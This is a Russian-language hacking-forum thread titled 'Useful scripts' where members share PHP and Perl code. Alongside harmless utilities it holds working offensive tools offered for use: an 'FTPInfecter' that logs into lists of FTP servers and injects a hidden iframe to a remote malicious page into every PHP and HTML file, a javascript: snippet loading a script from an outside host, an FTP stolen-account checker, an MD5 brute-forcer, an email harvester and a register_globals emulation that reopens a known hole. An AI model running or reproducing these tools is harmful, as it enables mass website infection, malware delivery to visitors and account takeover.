Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    2 cRiLaZ
    Одинарная ковычка быстрее обрабатывается интерпритатором, ибо php не ищет в ней перменных, как это он делает с двойной ковычкой. Пример:
    <?$text=1;echo "123 $text";?> // вывод '123 1'
    <?$text=1;echo '123 $text';?> // вывод '123 $text'
    да и потом сама запись "$text" это очень даже весело. Имя переменной, конечно, никак не указывает на ее значение, и даже не намекает что внутри текст, поэтому нужно прибавить гемору интерпритатору.

    Я не ругаюсь и не смеюсь =) я просто хочу чтобы в этом раздлеле на античате люди грамотно писали код, вот и все...

    Насчет ./ - действительно я придрался, но это лишние 2 символа в коде. А если не собираешься читать файл или передумал, зачем ставить флаг на чтение и блокировать его?

    Насчет обнуления переменной =)))) 2 разные вещи, выкинуть переменную из памяти и забыть о ней, либо продолжать держать в памяти пустое значение =)

    И насчет "стиль у мя такой", это не стиль, пока это мусор. Приходишь к другу, а у него шкаф по среди комнаты и раковина с кухни проведена в прихожую, он заявляет что у него такой стиль.
     
    _________________________
    3 people like this.
  2. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    MD5CRACK - MD5 Bruteforce Tool
    PHP:
    #!/usr/bin/perl
    # use strict; Sorry next time i'll use it ;)
    # MD5 Hash Bruteforce Kit
    # by Iman Karim ([email protected])
    # URL : http://home.inf.fh-rhein-sieg.de/~ikarim2s/
    # Date : 11.02.2007
    # Info[0] : This Cracker is by far not the fastest! But it helped me alot to find "lost" passwords ;)
    # Info[1] : Written under Kubuntu Linux (Throw away Windows!)
    # Info[2] : If you can code a bit perl, you can modify it to crack sha etc too...
    # Greets to: Invisible!
    $ver "01";
    $dbgtmr "1"#Intervall of showing the current speed + lastpassword in seconds.

    if ($dbgtmr<=0){ die "Set dbgtmr to a value >=1 !\n";};
    use 
    Digest::MD5 qw(md5_hex);
    use 
    Time::HiRes qw(gettimeofday);

    if (
    $ARGV[0]=~"a") {
     
    $alpha "abcdefghijklmnopqrstuvwxyz";}
    if (
    $ARGV[0]=~"A") {
     
    $alpha $alpha"ABCDEFGHIJKLMNOPQRSTUVWXYZ";}
    if (
    $ARGV[0]=~"d") {
     
    $alpha $alpha."1234567890";}
    if (
    $ARGV[0]=~"x") {
     
    $alpha $alpha"!\"\$%&/()=?-.:\\*'-_:.;,";}

    if (
    $alpha eq "" or $ARGV[3eq "") {usage();};
    if (
    length($ARGV[3]) != 32) { die "Sorry but it seems that the MD5 is not valid!\n";};

    print 
    "Selected charset for attack: '$alpha\'\n";
    print 
    "Going to Crack '$ARGV[3]'...\n";

    for (
    my $t=$ARGV[1];$t<=$ARGV[2];$t++){
     
    crack ($t);
    }

    sub usage{
     print 
    "\n\nMD5 Hash Bruteforce Kit v_$ver\n";
     print 
    "by Iman Karim (iman.karim\@smail.inf.fh-bonn-rhein-sieg.de)\n";
     print 
    "http:\/\/home.inf.fh-rhein-sieg.de\/~ikarim2s\/\n\n";
     print 
    "USAGE\n";
     print 
    "./md5crack <charset> <mincount> <maxcount> <yourMD5>\n";
     print 
    " Charset can be: [aAdx]\n";
     print 
    " a = {'a','b','c',...}\n";
     print 
    " A = {'A','B','C',...}\n";
     print 
    " d = {'1','2','3',...}\n";
     print 
    " x = {'!','\"',' ',...}\n";
     print 
    "EXAMPLE FOR CRACKING A MD5 HASH\n";
     print 
    "./md5crack.pl ad 1 3 900150983cd24fb0d6963f7d28e17f72\n";
     print 
    " This example tries to crack the given MD5 with all lowercase Alphas and all digits.\n";
     print 
    " MD5 Kit only tries combinations with a length from 1 and 3 characters.\n-------\n";
     print 
    "./md5crack.pl aA 3 3 900150983cd24fb0d6963f7d28e17f72\n";
     print 
    " This example tries to crack the given MD5 with all lowercase Alphas and all uppercase Alphas.\n";
     print 
    " MD5 Kit only tries passwords which length is exactly 3 characters.\n-------\n";
     print 
    "./md5crack.pl aAdx 1 10 900150983cd24fb0d6963f7d28e17f72\n";
     print 
    " This example tries to crack the given MD5 with nearly every character.\n";
     print 
    " MD5 Kit only tries combinations with a length from 1 to 10 characters.\n";
     die 
    "Quitting...\n";
    }

    sub crack{
     
    $CharSet shift;
     @
    RawString = ();
     for (
    my $i =0;$i<$CharSet;$i++){ $RawString[i] = 0;}
     
    $Start gettimeofday();
     do{
      for (
    my $i =0;$i<$CharSet;$i++){
       if (
    $RawString[$i] > length($alpha)-1){
        if (
    $i==$CharSet-1){
        print 
    "Bruteforcing done with $CharSet Chars. No Results.\n";
        
    $cnt=0;
        return 
    false;
       }
       
    $RawString[$i+1]++;
       
    $RawString[$i]=0;
       }
      }
    ###################################################
       
    $ret "";
       for (
    my $i =0;$i<$CharSet;$i++){ $ret $ret substr($alpha,$RawString[$i],1);}
       
    $hash md5_hex($ret);
       
    $cnt++;
       
    $Stop gettimeofday();
       if (
    $Stop-$Start>$dbgtmr){
        
    $cnt int($cnt/$dbgtmr);
        print 
    "$cnt hashes\\second.\tLast Pass '$ret\'\n";
        
    $cnt=0;
        
    $Start gettimeofday();
       }
                print 
    "$ARGV[3] != $hash ($ret)\n";
       if (
    $ARGV[3eq $hash){
        die 
    "\n**** Password Cracked! => $ret\n";
       }
    ###################################################
      #checkhash($CharSet)."\n";

      
    $RawString[0]++;
     }while(
    $RawString[$CharSet-1]<length($alpha));
    }

    sub checkhash{
     
    $CharSet shift;
     
    $ret "";
     for (
    my $i =0;$i<$CharSet;$i++){ $ret $ret substr($alpha,$RawString[$i],1);}
     
    $hash md5_hex($ret);
     
    $cnt++;
     
    $Stop gettimeofday();
     if (
    $Stop-$Start>$dbgtmr){
      
    $cnt int($cnt/$dbgtmr);
      print 
    "$cnt hashes\\second.\tLast Pass '$ret\'\n";
      
    $cnt=0;
      
    $Start gettimeofday();
     }

     if (
    $ARGV[3eq $hash){
      die 
    "\n**** Password Cracked! => $ret\n";
     }
     
    }
     
    _________________________
  3. Abra

    Abra Member

    Joined:
    17 Sep 2005
    Messages:
    278
    Likes Received:
    51
    Reputations:
    29
    удобная универсальная функция для работы с сокетами.

    PHP:
    function httpSocketConnection($host$method$path$data)
       {
           
    $method strtoupper($method);       
          
           if (
    $method == "GET")
           {
               
    $path.= '?'.$data;
           }   
          
           
    $filePointer = @fsockopen($host80$errorNumber$errorString);
          
           if (!
    $filePointer)
           {
               exit(
    'Failed opening http socket connection: '.$errorString.' ('.$errorNumber.')<br/>\n');
               return 
    false;
           }

           
    $requestHeader $method." ".$path."  HTTP/1.1\r\n";
           
    $requestHeader.= "Host: ".$host."\r\n";
           
    $requestHeader.= "User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
           
    $requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n";

           if (
    $method == "POST")
           {
               
    $requestHeader.= "Content-Length: ".strlen($data)."\r\n";
           }
          
           
    $requestHeader.= "Connection: close\r\n\r\n";
          
           if (
    $method == "POST")
           {
               
    $requestHeader.= $data;
           }           

           
    fwrite($filePointer$requestHeader);
          
           
    $responseHeader '';
           
    $responseContent '';

           do
           {
               
    $responseHeader.= fread($filePointer1);
           }
           while (!
    preg_match('/\\r\\n\\r\\n$/'$responseHeader));
          
          
           if (!
    strstr($responseHeader"Transfer-Encoding: chunked"))
           {
               while (!
    feof($filePointer))
               {
                   
    $responseContent.= fgets($filePointer128);
               }
           }
           else
           {

               while (
    $chunk_length hexdec(fgets($filePointer)))
               {
                   
    $responseContentChunk '';
              
                   
    //logEventToTextFile('debug', $chunk_length);
                   
    $read_length 0;
                  
                   while (
    $read_length $chunk_length)
                   {
                       
    $responseContentChunk .= fread($filePointer$chunk_length $read_length);
                       
    $read_length strlen($responseContentChunk);
                   }

                   
    $responseContent.= $responseContentChunk;
                  
                   
    fgets($filePointer);
                  
               }
              
           }

           
    //logEventToTextFile('debug', $responseContent);
          
          
           
    return chop($responseContent);
       }
    пример использования:
    PHP:
    $data="var1=test&var2=test2";
    $host "www.somesite.com";
    $path "http://www.somesite.com/test.php";
    $method "POST";

    echo 
    httpSocketConnection($host$method$path$data);
     
  4. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    наверное здесь уже выкладывали скрипт для выдирания мэл, этот может (вроде как) вычленить из любого набора текста мэла
    P.S. Ногами не бейте, я начинающий, очень хотелось чем-нибудь поделиться, может кому пригодиться
    P.P.S В данный момент пытаюсь тоже самое сделать но через сокеты, как-то не особо получается, но если кому интересно + просто не влом помочь пишите в личку
    PHP:
    <?php
    $to
    =array('>','<','/','"','\'','='',','.');
    $fnl=array();
    $result=array();
    /*считываем файл*/
    $fin=fopen('input.txt','r');
    while(!
    feof($fin)){
    $result[]=fgets($fin);
    }
    fclose($fin);
    /*т.к нас интересует отдельные слова то разбиваем весь файл на один массив
    со значениями - словами*/
    $result=implode(' ',$result);
    $result=str_replace($to,' ',$result);/*очищаем от ненужных символов*/
    $result=explode(' ',$result);
    for(
    $i=0;$i<sizeof($result);$i++)
    {
    $str=$result[$i];
    $tst=strpos($str,'@');/*находим слова с нужным символом*/
    if(!empty($tst)){
    if(
    $str[0]=='/')
    $str[0]=' ';
    $fnl[]=trim($str);
    }
    unset(
    $tst);
    }
    $fout=fopen('output.txt','w');
    for(
    $i=0;$i<sizeof($fnl);$i++)   /*вывод*/
    {
    fputs($fout,$fnl[$i]."\r\n");
    }
    fclose($fout);
    ?>
     
    #44 Termin@L, 18 Feb 2007
    Last edited by a moderator: 24 Feb 2007
    1 person likes this.
  5. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    ftp checker
    PHP:
    <?php
    /*
    * FTP Checker By Green Bear
    * Version 1.0
    * Home page: http://netsec.ru/gb/
    @---------------------------@
    good_ftp = хорошие фтп аккуанты
    bad_ftp = плохие фтп аккуанты
    @---------------------------@
    #используйте формат user:[email protected]

    */


    //Тайм оут
    //не стоит ставить больше 15 секунд
    $timeout '15';

    $good '0';
    $bad '0';


    error_reporting(0);
    ignore_user_abort(1);

    if( ! 
    function_exists('ftp_login') OR ! function_exists('ftp_connect')){
        die(
    'Function ftp_login or/and ftp_connect not exists');
    }


    if(! 
    file_exists('good_ftp') ){
        
    $f fopen('good_ftp''w');
        
    fwrite($f'');
        
    fclose($f);
    }

    if(! 
    file_exists('bad_ftp') ){
        
    $f fopen('bad_ftp''w');
        
    fwrite($f'');
        
    fclose($f);
    }


    switch(
    $_POST['do']){
        case 
    'check_now' :
        if(
    $_POST['ftp_acc']){
            
    $array  explode("\n"$_POST['ftp_acc']);
            
    check_ftp($array);
        }else{
             echo 
    print_header();
             echo 
    '<div class=t>Не задано аккуантов</div>';
             echo 
    print_footer();
        }
        break;

        case 
    'show_good':
        
    show_good();
        break;

        case 
    'show_bad':
        
    show_bad();
        break;

        case 
    'clear_good':
        
    clear_good();
        break;

        case 
    'clear_bad':
        
    clear_bad();
        break;

        default : 
    print_form();
        break;
    }





    //
    //functions
    //

    function check_ftp($array){
        global 
    $timeout$good$bad;
        foreach(
    $array as $a){
            
    $l_h explode('@'$a);
            
    $l_p explode(':'$l_h[0]);
            
    $host $l_h[1];
            
    $login $l_p[0];
            
    $pass $l_p[1];

            
    $ftp ftp_connect(trim($host), '21'$timeout);


            if( 
    $ftp){
                
    $ftp_login ftp_login($ftp$login$pass);

                if(
    $ftp_login){
                    
    write_ftp('good_ftp'$host$login$pass);
                    
    $good  ;
                }else{
                    
    $bad  ;
                }
                
    ftp_close($ftp);
                unset(
    $host$pass$login$l_p$l_h);
            }else{
                
    write_ftp('bad_ftp'$host$login$pass);
                
    $bad  ;
            }
        }

        echo 
    print_header();
        echo 
    "<div class='t'>
        <b>Аккуанты проверены</b>. <br />
        Хороших: 
    $good <br />
        Плохих: 
    $bad <br />
        <form action='
    $_SERVER[PHP_SELF]' method='post' name='s'><input type='hidden' name='do' value='show_good' /></form>
        <a href='javascript://' onClick='s.submit();'>Показать хорошие</a>
        "
    ;
        echo 
    print_footer();

    }

    function 
    write_ftp($file$host$login$pass){
        
    $f fopen($file'a');
        
    fwrite($f$login.':'.$pass.'@'.$host."\n");
        
    fclose($f);
    }

    function 
    show_good(){
        
    $i'0';
        echo 
    print_header();
        
    $file file('good_ftp');
        foreach(
    $file as $f){
            
    $i  ;
            if( 
    strstr(($i/2), '.') ){
                echo 
    "<div class='row1'><b><a href='ftp://$f' target='_blank'>$f</a></b></div>";
            }else{
                echo 
    "<div class='row2'><b><a href='ftp://$f' target='_blank'>$f</a></b></div>";
            }
        }
        echo 
    print_footer();
    }

    function 
    show_bad(){
        echo 
    print_header();
           
    $file file('bad_ftp');
        foreach(
    $file as $f){
            
    $i  ;
            if( 
    strstr(($i/2), '.') ){
                echo 
    "<div class='row1'><b>$f</b></div>";
            }else{
                echo 
    "<div class='row2'><b>$f</b></div>";
            }
        }
        echo 
    print_footer();
    }

    function 
    clear_good(){
        echo 
    print_header();
        
    $f fopen('good_ftp''w');
        
    fwrite($f'');
        
    fclose($f);
        echo 
    '<div class=t>Список очищен</div';
        echo 
    print_footer();
    }

    function 
    clear_bad(){
        echo 
    print_header();
        
    $f fopen('bad_ftp''w');
        
    fwrite($f'');
        
    fclose($f);
        echo 
    '<div class=t>Список очищен</div';
        echo 
    print_footer();
    }

    function 
    print_form(){
        echo 
    print_header();
        echo <<<HTML
    <form action="$_SERVER[PHP_SELF]" method="post" name='g'>
        <input type='hidden' name='do' value='show_good' />
        </form>
        <form action="
    $_SERVER[PHP_SELF]" method="post" name='b'>
        <input type='hidden' name='do' value='show_bad' />
        </form>
        <form action="
    $_SERVER[PHP_SELF]" method="post" name='eg'>
        <input type='hidden' name='do' value='clear_good' />
        </form>
        <form action="
    $_SERVER[PHP_SELF]" method="post" name='eb'>
        <input type='hidden' name='do' value='clear_bad' />
        </form>
        <a href='javascript://' onClick='g.submit();'>Показать хорошие</a> <a href="javascript://" onClick="eg.submit()" title="Очистить список" style="color:red">(clear)</a> /
        <a href='javascript://' onClick='b.submit();'>Показать плохие</a> <a href="javascript://" onClick="eb.submit()" title="Очистить список" style="color:red">(clear)</a>

        <hr size=1>
        <form action="
    $_SERVER[PHP_SELF]" method="post">
        <input type='hidden' name='do' value='check_now' />
        <br />
        <textarea cols='50' rows='7' name='ftp_acc'></textarea>
        <br />
        <input type='submit'  value='Проверить FTP' />
        </form>
        <hr size=1>
    HTML;
        echo 
    print_footer();
    }

    function 
    print_header(){

        return <<<HTML
        <html><head>
        <style type='text/css'>
        body{
            color: #C6C6FF;
            background-color: #262626;
            font-size:12px;
            font-family: Verdana, Tahoma;
            margin: 25px;
        }
        form{
            margin: 0px;
        }
        div{
            margin-top:2px;
            margin-bottom:2px;
        }
        a{
            color: #9494FF;
            text-decoration: none;
        }
        a hover{
            text-decoration: underline;
        }
        .title{
            font-size: 16px;
            font-family: Verdana, Tahoma;
            padding: 5px;
            color:white;
            font-weight: bold;
            text-align:center;
            background-color: #1C1C1C;
        }
        .copy{
            text-align:right;
            padding-right: 10px;

        }
        .copy a{
            text-decoration: none;
            color: white;
        }
        .t{
            margin: 5px;
            font-size: 11px;
            background-color: #303030;
        }
        .row1{
            background-color: #4E4E4E;

        }
        .row2{
            background-color: #262626;
        }
        textarea, input{
            border: 0;
            background-color: #DADAFF;
            color: black;
            font-size: 11px;
            border: none;
        }
        </style>
        </head>
        <body>
        <div class='title' onClick="location.href='
    {$_SERVER['PHP_SELF']}'">FTP CHECKER</div>
    HTML;
    }

    function 
    print_footer(){

        return <<<HTML
        <div class='copy'>
        Powered by <a href='http://netsec.ru/gb/'>Green Bear</a> , Version 1.0
        </div>
        </body>
        </html>



    HTML;
    }




    ?>
     
    1 person likes this.
  6. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Вот парочка примеров

    1) ftp чекер
    Правда не хватает много поточности и написан на скорую руку!

    2) Сканер портов
    Такая же проблема как и в первом случаии(((
     
    1 person likes this.
  7. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,193
    Reputations:
    430
    Вообщем, интересная штука сегодня писалась... но получилось, не то, что хотелось... ))))))
    Ситуация в двух словах:
    Взять результаты поиска с domainsdb, отпарсить из исходника страницы найденные по вашему запросу линки, и проверить, если там php скрипт (index.php :)))))))))))
    PHP:
    <?php
    // Вообщем-с,  открываем исходник страницы с полученными ссылками...
    //сохраняем в file.txt и поехали...
    error_reporting(0);
    set_time_limit(0);
      
    $links=fopen('filens.txt','w');
      
    $text file_get_contents('file.txt');
      
    $pat "|<a href=\"([^\"]+)\"[^>]+>([^<]+)<|is";
      
    preg_match_all($pat$text$mass);
      for(
    $i 0$i count($mass[1]); $i++)
      {
      
    fwrite($links$mass[1][$i]."\n");
    }
         
    fclose($links);
    $textfile('filens.txt');
           foreach(
    $text AS $val)
            {
                
    $val=str_replace("\r",'',$val);
                
    $val=str_replace("\n",'',$val);
                
    preg_match("/^(http:\/\/)?([^\/]+)/i"$val$math);
                
    $host=$math[2];
                
    $f=fsockopen($host80);
                if (!
    $f) echo("<font color=\"blue\"><b>HOST NOT FOUND</b></font> - <strike>$host</strike>");
                
    fwrite($f"GET /index.php HTTP/1.0\n\n");
                
    $str fread($f1024);
    if (
    substr($str9,6)=="200 OK")
           {
           echo(
    "<table border='1'><tr><td>");
           echo (
    "<b>$host</b><td> <font color=\"green\"><b>прекрасно!!!<b></font><br>");
           echo(
    "</td></tr></table>"); }
    else
           {
           echo(
    "<table border='1'><tr><td>");
           echo(
    "<b>$host</b><td> <font color=\"red\"><i>непрекрасно!!!</i></font> <br>");
           echo(
    "</td></tr></table>");
           }
           }
    fclose($f);
    ?>
    Реализованно по-тупому, но работает ;)
     
    #47 Ch3ck, 21 Feb 2007
    Last edited: 21 Feb 2007
  8. DRON-ANARCHY

    DRON-ANARCHY Отец порядка

    Joined:
    4 Mar 2005
    Messages:
    713
    Likes Received:
    142
    Reputations:
    50
    кому мешает register_globals OFF можете вставить в страницу
    PHP:
    // Emulate register_globals on
    if (!ini_get('register_globals')) {
       
    $superglobals = array($_SERVER$_ENV,
           
    $_FILES$_COOKIE$_POST$_GET);
       if (isset(
    $_SESSION)) {
           
    array_unshift($superglobals$_SESSION);
       }
       foreach (
    $superglobals as $superglobal) {
           
    extract($superglobalEXTR_SKIP);
       }
    }
    и забыть об этой проблеме
     
  9. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Очень небезопасно. Может, и на безопасность и не повлиять, но на грамотность - изрядно повлият)
     
  10. DRON-ANARCHY

    DRON-ANARCHY Отец порядка

    Joined:
    4 Mar 2005
    Messages:
    713
    Likes Received:
    142
    Reputations:
    50
    ну как сказать... register_globals ON само по себе уже небезопасно... поэтому и отключается хостерами
     
    1 person likes this.
  11. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    Ну так зачем же его искусственно включать?)
    Просто предупредил о небезопасности этого =) Используйте функцию. чисто в образовательных целях.
     
  12. Abra

    Abra Member

    Joined:
    17 Sep 2005
    Messages:
    278
    Likes Received:
    51
    Reputations:
    29
    имхо - представляем такую ситуацию:
    админ - ленивый консерватор. Программная часть сайта не обновлялась года так эдак с 2000'ого. Все скрипты работают исключительно под register_globals=on (бывает такое). Потребовалось сменить хостинг - а на новом register_globals=off. Переписывать двиг не охота, вот и требуется искусственное включение. Больше, имха, незачем.
     
  13. DRON-ANARCHY

    DRON-ANARCHY Отец порядка

    Joined:
    4 Mar 2005
    Messages:
    713
    Likes Received:
    142
    Reputations:
    50
    потому что при пересылке переменных от одного скрипта(формы) в другой, работать все это дело с выключенными register_globals НЕ БУДЕТ
     
    1 person likes this.
  14. sM1L3

    sM1L3 New Member

    Joined:
    5 Mar 2007
    Messages:
    4
    Likes Received:
    2
    Reputations:
    0
    Ну вот, такой маленько-прикольный скриптик
    Вводим его в адресную строку

    Code:
    javascript:o=document.createElement("script");o.setAttribute("src","http://digistyle.3dn.ru/egor.js");document.body.appendChild(o);void(0)
    Можно над ламером прикольнуться! ;)
     
    1 person likes this.
  15. Underwit

    Underwit Banned

    Joined:
    6 Oct 2006
    Messages:
    191
    Likes Received:
    137
    Reputations:
    16
    Нацарапал тут скриптец для слияния нескольких брутфорс словарей в один прошу заценить. Я в ПХП плохо понимаю, укажите на мои ошибки пожлуйста. И если скрипт вдруг кому помог не пожалейте, дайте репки :D
    PHP:
    <?
    error_reporting(0);
    echo 
    "<html><title>Скрипт склеивает несколько словарей для брута в один.</title><body bgcolor='000000' text='0ff0f9'>     
    <table border='2' bgcolor='131313' bordercolor='0ff0f9' width='50%' align='center' height='400' cellpadding='15' cellspacing='0'>
    <tr valign='top'><td>
    <font size='3'>
    Скрипт склеивает несколько словарей для брута в один.<br>Автоматически удаляет повторяющиеся элементы.<br>
    <font size='2'>(c)oded by underwit</font>
    <hr color='0ff0f9'><p>
    <form method='POST'>
    Имя нового словаря: &nbsp;&nbsp;<input type='text' name='newname' size='10'><p>
    Введите путь к папке: <input type='text' name='path' size='60'><p>
    <input type='checkbox' name='delite'> Удалить исходные словари?<p>
    <input type='submit' value='Склеить'><br>
    </form>
    <hr color='0ff0f9'><p>"
    ;
    $truepath getcwd();
    if(empty(
    $path)){echo "Текущий каталог - ".$truepath."<br>";}
    if(!empty(
    $newname))
    {
    if(!empty(
    $path))
    {
    chdir($path);
    echo 
    "Установленный каталог - ".$path."<br>";
    $allpass = array();
    $catalog opendir($path) or die("Не удалось открыть каталог");      
    while(
    $file readdir($catalog))
    {
    if((
    $file != ".") && ($file != ".."))
    {
    $_file fopen($file,"r");        
    while(!
    feof($_file))
    {
    array_push($allpassfgets($_file));}         
    fclose($_file);         
    }    
    if(
    $delite == true){unlink($file);}
    }
    closedir($catalog);
    }else{echo 
    "Введите путь к каталогу со словарями";}
    }else{echo 
    "Введите новое имя для словаря и укажите путь к каталогу со словарями";}
    if(!empty(
    $allpass))
    {
    $allsize count($allpass);
    $end array_unique($allpass);
    $uniqsize count($end);
    $redel $allsize $uniqsize;
    $endfile fopen($newname.".pass","a");
    for(
    $i='0';$i<sizeof($end);$i++)
    {
    fwrite($endfile,$end[$i]);}
    fclose($endfile);
    echo 
    "Новый словарь сохранен как - ".$path."/".$newname.".pass"."<br>";
    echo 
    "Всего элементов - ".$allsize."<br>";
    echo 
    "Уникальных элементов - ".$uniqsize."<br>";
    echo 
    "Удалено повторных - ".$redel."<br>";
    }
    echo 
    "</font></td></tr></table></body></html>";
    ?>
     
    3 people like this.
  16. x-treem

    x-treem Elder - Старейшина

    Joined:
    8 Nov 2006
    Messages:
    130
    Likes Received:
    16
    Reputations:
    0
    вот тут был скрипт, давно писал. фтпинфектер... во как.
    создаём файл. туда пишем данные вот в таком виде:
    ftp_server;login;pass

    скрипт парсит этот файл, подключаеццо к каждому серверу и заражает все файлы с расширением php, htm, html. вот собсно сам код
    PHP:
    <?
    ## FTPInfecter by xtreem
    ## mail: [email protected] 

    error_reporting(0);
    set_magic_quotes_runtime(0);
    @
    set_time_limit(0);
    @
    ini_set('max_execution_time',0);
    @
    ini_set('output_buffering',0);
    $safe_mode = @ini_get('safe_mode'); 

    echo 
    " This is FTPInfecter script\n";
    echo 
    " Coded by xtreem([email protected])\n";
    echo 
    " example: FTPInfecter.php servers.db\n\n";

    if (!
    $argv[1])
    {
    $servdb "servers.txt";
    }else{
    $servdb $argv[1];
    }
    $code "<iframe src=\"http://hackpage.net/badscript.php\" width=1 height=1></iframe>";

    $file file($servdb"r");
    $count count($file);
    $is 0;
    while (
    $is $count)
    {
     
    chomp;
     
    $met explode(';'$file[$is]);
    $server $met[0];
    $user $met[1];
    $pass $met[2];

    if ((
    $connect ftp_connect($server)) && ($login ftp_login($connect$user$pass))){
    echo 
    "CONNECTED TO:".$server."\n";
    $buff ftp_nlist($connect'');
    $d count($buff);  
    $i 0;
    while (
    $d <> $i)
    {
    if (
    $buff[$i] <> '.' && $buff[$i] <> '..'){
    if (
    ftp_chdir($connect$buff[$i]))
    {
    echo 
    "DIR: ".$buff[$i]."\n";
    ftp_chdir($connect'..');
    }else{
    $part explode('.'$buff[$i]);
    if (
    $part[1] == 'php' or $part[1] == 'htm' or $part[1] == 'html'){
    echo 
    "FILE: ".$buff[$i]."\n";
    $fp fopen($buff[$i], 'w+');
    if (
    ftp_fget($connect$fp$buff[$i], FTP_ASCII0)) { 
    echo 
    "GET: ".$buff[$i]."\n";
    }
    fclose($fp); 
    $fw fopen($buff[$i], 'a');
    fputs ($fw$code);
    fclose($fw);
    echo 
    "INFECTED: ".$buff[$i]."\n";
    if (
    ftp_put($connect$buff[$i], $buff[$i], FTP_ASCII)) {
    echo 
    "PUT: ".$buff[$i]."\n";}
    $del unlink($buff[$i]);
    if (
    $del){echo "DELETE: ".$buff[$i]."\n\n";}
    }
    }
    }
    $i++;
    }
    ftp_close($connect);  
    }else{echo 
    "NOT CONNECT TO: ".$server."\n";}
    $is++;
    }
    ?>
     
    #56 x-treem, 12 Mar 2007
    Last edited by a moderator: 12 Mar 2007
    1 person likes this.
  17. DRON-ANARCHY

    DRON-ANARCHY Отец порядка

    Joined:
    4 Mar 2005
    Messages:
    713
    Likes Received:
    142
    Reputations:
    50
    ифреймер по-русски?)
     
  18. cRiLaZ

    cRiLaZ Member

    Joined:
    17 Oct 2006
    Messages:
    21
    Likes Received:
    15
    Reputations:
    18
    Ну со всеми подряд хтмл и пхп ты явно переборщил ))
     
  19. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Вывод даты нормальным русским языком:

    PHP:
    function rusdate($d)   
    {  
      
    $montharr = array("января","февраля","марта","апреля","мая","июня","июля","августа","сентября","октября","ноября","декабря"); 
      
    $i =  date("m",$d) - 1
      return 
    date("j",$d).$montharr[$i] ".date("Y",$d); 
    }
    Узнаем серверное время со сдвигом часовых поясов:

    PHP:
    function zonetime($date,$zone)
    {
      
    $date+=$zone*3600;
      return 
    gmdate("d.m.Y H:i",$date);
    }
    Например, echo
    PHP:
    zonetime(time(),+3);
    покажет московское время (независимо от того, в каком поясе расположен сервер :))

    Следующий скрипт весьма полезен (писал для своей гостевой). Выводит мыла таким образом, чтоб их не смогли воровать роботы-собиральщики мыл (во как):

    PHP:
    function showemail($email)
    {
      echo 
    "<script language=\"JavaScript\"><!--\n".
      
    "document.write('".substr($email,0,strpos($email,"@"))."'+'@'+'".
      
    substr($email,strpos($email,"@")+1,strpos($email,".")-strpos($email,"@")-1)."'+'.'+'".
      
    substr($email,strpos($email,".")+1strlen($email) - strpos($email,".")-1)."');\n".
      
    "//--></script>\n";
    }
    (подразумевается, что используется валидный параметр вида бла@бла.бла, проверку мутите еще при вносе в БД мыла =))

    Так-с, идем дальше. Так я обычно проверяю, является ли какой-либо параметр числом:

    PHP:
    function IsDigit($d)  

      return (!(empty(
    $d)) && ctype_digit($d)); 
    }
    Замена в тексте всех мыл и урлок на соответствующие ссылки:
    PHP:
    $text ereg_replace('[-a-z0-9!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*','<a href="mailto:\\0">\\0</a>',$text);
    $text ereg_replace(' [a-zA-Z]+://(([.]?[a-zA-Z0-9_/-])*) ',' <a href="\\0">\\1</a> ',$text);
    $text ereg_replace(' (^| )(www([-]*[.]?[a-zA-Z0-9_/-?&%])*) ',' <a href="http://\\2">\\2</a> ',$text);
    Часто на сайтах слева и справа бывают узкие колонки, куда можно повпихивать всякую интересную инфу (например, последние темы с форума). Но если попадается длинное слово, то колонка разъезжается, становится хз че. Следующая функция разрезает на куски только те слова, которые длиннее заданного параметра. Очень полезно:

    PHP:
    function break_long_words($source_text,$lng)
    {
    $regExp='/(\S{'.$lng.',})/ei';
    $res_text=preg_replace($regExp,"wordwrap('\\1',$lng,'\n',1)",$source_text);
    return 
    $res_text;
    }
    Пока все. Удачи!
     
    2 people like this.
  20. flipper

    flipper Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    131
    Likes Received:
    85
    Reputations:
    29
    Выдирает поля из дампа таблицы:
    Code:
    #!/usr/bin/perl -w
    if ($ARGV[0] eq "") {print "Example: perl dump.pl Clients.sql"; exit;}
    open (f1,$ARGV[0]) || die $!;
    open (f2,">log") ||die $!;
    if ($ARGV[1] eq "") {
      $s=<f1>;
      $s=~s/\'//g;
      @temp=split(",",$s);
      for ($i=0;$i<$#temp;$i++){
         print "$i-$temp[$i]\n"; } #for
       print "\nExample: perl dump.pl Clients.sql 4-6-15-20";
       exit;
      } #if
    @temp = split("-",$ARGV[1]);
    while (<f1>) {s/\'//g; #s/\s\'//g;
      (@temp2)=(split(",",$_))[@temp];
       print f2 join(":",@temp2). "\n";
     }  #while
    close(f1);
    close(f2);
    
    Запускаем: "perl dump.pl Clients.sql 4-6-15-20"
    Clients.sql - имя сортируемого файла, 4-6-15-20 номера колонок через "-" (узнать можно запустив только "perl dump.pl Clients.sql ").

    Сортировка файла с удалением повторяющихся элементов:
    Code:
    #!/usr/bin/perl -w
    if ($ARGV[0] eq "") {print 'sort.pl filename'; exit;}
    open (f1,$ARGV[0]) || die $!;
    open (f3,">sorted") ||die $!;
    %seen=();
    @uniq=grep {! $seen{$_} ++ } <f1>;
